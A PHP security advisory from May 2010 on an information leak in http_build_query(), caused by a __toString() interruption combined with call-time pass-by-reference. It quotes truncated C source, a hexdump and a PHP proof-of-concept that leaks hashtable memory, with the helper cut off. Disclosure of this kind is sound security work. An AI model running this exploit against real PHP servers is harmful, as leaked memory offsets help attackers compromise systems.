MOPS-2010-038: PHP http_build_query() Interruption Information Leak Vulnerability

May 21st, 2010

PHP's http_build_query() function can be abused for information leak attacks, because of the call time pass by reference feature.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits attacks the http_build_query() function.

```
PHP_FUNCTION(http_build_query)
{
   zval *formdata;
   char *prefix = NULL, *arg_sep=NULL;
   int arg_sep_len = 0, prefix_len = 0;
   smart_str formstr = {0};


   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zlss", &formdata, &prefix, &pr
      RETURN_FALSE;
   }

   if (Z_TYPE_P(formdata) != IS_ARRAY && Z_TYPE_P(formdata) != IS_OBJECT) {
      php_error_docref(NULL TSRMLS_CC, E_WARNING, "Parameter 1 expected to be Array or O
      RETURN_FALSE;
   }

   if (php_url_encode_hash_ex(HASH_OF(formdata), &formstr, prefix, prefix_len, NULL, 0, NULL,
      if (formstr.c) {
         efree(formstr.c);
      }
      RETURN_FALSE;
   }

   if (!formstr.c) {
      RETURN_EMPTY_STRING();
   }

   smart_str_0(&formstr);

   RETURN_STRINGL(formstr.c, formstr.len, 0);
`
```

What happens here is that zend_parse_parameters() retrieves up to four arguments into local variables, which destroys the connection to the original ZVAL. The problem is that the string pointers will point to the exactly same strings as the original string ZVALs without any kind of reference. If the original string ZVALs get modified this will result in the string pointers being invalid, pointing to already freed and reused memory. And an interruption attack is very easy in this case because zend_parse_parameters() supports the __toString() method of objects. An attacker just needs to pass an object as 3rd parameter to http_build_query(). From the __toString() method an attacker can then kill the second argument due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in php_url_encode_hash_ex() working on memory of a hashtable instead of a string, which lets the attacker leak important internal memory offsets.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

```
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...
```

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

```
<?php
class dummy
{
   function __toString()
   {
      /* now the magic */
      parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
      return "XXXXX";
   }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
   $GLOBALS['var'] = str_repeat("A", 39);
} else {
   $GLOBALS['var'] = str_repeat("A", 67);
}

/* Trigger the Code */
$x = http_build_query(array(1 => 1),&$GLOBALS['var'], new dummy());
$x = substr($x, 0, strlen($x)-3);
hexdump($x);

/* Helper function */
function hexdump($x)
{
   $l = strlen($x);
   $p = 0;
```

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.